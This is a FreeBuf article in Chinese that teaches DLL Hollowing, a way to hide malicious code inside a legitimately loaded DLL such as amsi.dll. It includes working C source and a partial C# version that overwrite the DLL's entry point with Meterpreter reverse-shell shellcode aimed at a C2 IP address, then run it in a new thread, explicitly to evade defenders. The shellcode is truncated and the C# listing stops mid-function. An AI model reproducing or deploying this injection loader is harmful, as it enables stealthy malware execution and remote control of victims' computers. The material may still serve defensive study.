freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

结合ppid欺骗和远线程注入实现dll挖空
2024-12-08 04:50:49
所属地 广东省

DLL Hollowing 技术解析

探讨挖空技术,重点是 DLL Hollowing(DLL 挖空)。与进程挖空技术不同,DLL Hollowing 会让目标进程加载新的 DLL,然后用恶意代码覆盖 DLL 的部分内容,从而实现隐匿的恶意代码执行。

原理

DLL Hollowing是一种代码注入技术,攻击者通过加载新的 DLL 并覆盖其部分代码,将恶意代码注入到当前进程或远程进程的内存空间。
这种方法的主要目标是避免恶意代码被轻易分析和检测。例如,当防御者简单检查文件系统时,加载的 DLL 和进程看起来都是良性的,没有明显的异常。

当前进程中的 DLL Hollowing

  1. 加载目标 DLL
    一个可执行文件(例如A.exe)启动后,会尝试将目标 DLL 加载到自身的内存空间中。这通常通过LoadLibrary等 API 实现。

  2. 解析 DLL 标头
    加载 DLL 后,程序会解析 DLL 的标头信息以定位注入位置。通常,入口点(DllMain)是注入恶意代码的目标位置。

  3. 覆盖入口点
    程序将恶意代码覆盖到目标 DLL 的入口点,从而控制 DLL 的执行逻辑。

  4. 启动恶意线程
    覆盖完成后,程序会创建一个新线程,该线程以恶意代码为起始点执行。

下面是展示了注入前后加载到进程中的库列表,amsi.dll是新加载的目标库。

image.png

image.png

amsi.dll 的原始入口点:

image.png

被恶意代码覆盖后的入口点:

image.png

用于覆盖入口点的反混淆后的 Meterpreter Shellcode。

image.png

远程进程中的 DLL Hollowing

  1. 创建远程进程
    程序首先创建一个远程进程(如Notepad.exe),并获取该进程的句柄。

  2. 加载目标 DLL
    使用进程句柄,指示远程进程加载目标 DLL。

  3. 遍历加载模块
    程序遍历远程进程已加载的模块,获取目标 DLL 的内存地址。

  4. 覆盖入口点
    与第一种方法类似,通过解析 DLL 标头,程序定位并覆盖入口点,将恶意代码注入到 DLL 中。

  5. 启动远程线程
    一旦覆盖完成,程序会启动一个远程线程,入口点指向覆盖后的恶意代码。

Notepad 默认的 DLL 列表

image.png

加载恶意amsi.dll后的 DLL 列表。

image.png

DLL Hollowing 提供了一种隐匿恶意代码和隐藏执行行为的手段。与其他注入技术类似,它可以绕过简单的防御措施,例如基于父子进程关系的检测。
由于恶意代码运行在看似正常的进程中,并加载了表面上良性的 DLL,初步检查很可能会忽略这些异常。即使深入分析,也可能需要花费额外的时间来发现其真实意图。

代码演示

C代码实现

在 C 代码示例中,程序加载目标 DLL,将恶意代码写入 DLL 的入口点,并创建新线程以执行恶意代码。

关键流程

  • 加载目标 DLL
    使用 LoadLibrary 加载目标 DLL(默认是 amsi.dll),并返回其内存地址。若加载失败,则程序退出。

  • 解析 DLL 的入口点
    通过解析 MZ 和 PE 头,定位 DLL 的入口点地址。这是覆盖恶意代码的目标地址。

  • 覆盖入口点
    修改 DLL 入口点的内存权限为可读写,写入恶意代码后再恢复内存权限。

  • 创建新线程
    使用 CreateThread 启动线程,从 DLL 的入口点开始执行注入的恶意代码。

int main(int args, char *argc[]) {
    char dllName[256] = {};

    // 检查命令行参数并设置默认 DLL 名称
    if (args != 2) {
        printf("Usage:: dll_hollowing.exe <dll name>\n");
        memcpy(dllName, "amsi.dll", 9);
    } else {
        memcpy(dllName, argc[1], strlen(argc[1]));
    }

    printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);

    // Meterpreter 反向 shellcode 的解码与复制
    unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
    int encoded_size = sizeof(buff);
    unsigned char *buf = (unsigned char *)malloc(encoded_size);
    memset(buf, 0, encoded_size);
    memcpy(buf, buff, encoded_size);

    // 加载目标 DLL
    DWORD saveProtect = 0;
    HMODULE hTargetDLL = LoadLibrary(dllName);
    if (hTargetDLL == NULL) {
        printf("[!] LoadLibrary failed to load %s\n", dllName);
        return 0;
    }

    // 解析 DLL 的入口点
    PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
    PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
    void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
    printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);

    // 修改内存权限并覆盖入口点
    VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
    memcpy(entryPointDLL, buf, encoded_size);
    VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);

    // 创建线程执行恶意代码
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
    printf("Thread Created\n");

    // 等待退出命令
    while (true) {
        if (getchar() == 'q') {
            printf("Received an exit command\n");
            break;
        }
    }

    printf("Exiting\n");
    return 1;
}

C# 代码实现

C# 代码实现与 C 代码的操作类似,但引入了更多工具类(如 Win32)来操作 DLL 加载和内存操作。它的流程更具可读性,同时支持命令行参数来动态设置目标 DLL 和 C2 IP。

关键流程

  • 解析命令行参数
    通过命令行获取目标 DLL 名称和 C2 IP 地址,若未提供参数,则使用默认值。

  • 处理恶意 shellcode
    解码恶意 shellcode,并动态替换其中的 C2 IP 地址为用户提供的值。

  • 加载目标 DLL
    使用 LoadLibrary 加载目标 DLL,解析其入口点。

  • 覆盖入口点
    修改入口点内存权限为可读写,将恶意代码写入,并恢复内存权限。

  • 启动线程执行恶意代码
    使用 CreateThread 启动线程,从覆盖的入口点开始执行恶意代码。

unsafe class Program {
    static void Main(string[] args) {
        // 解析命令行参数
        string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
        string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
        Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);

        // 处理 shellcode
        byte[] encoded = new byte[460] { /* Shellcode */ };
        byte[] buf = DecodeShellcode(encoded, c2_ips);

        // 加载目标 DLL
        IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
        if (hTargetDLL == IntPtr.Zero) {
            Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
            return;
        }

        Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);

        // 解析 DLL 的入口点
        Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
        Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
        IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);

        Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);

        /
# 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录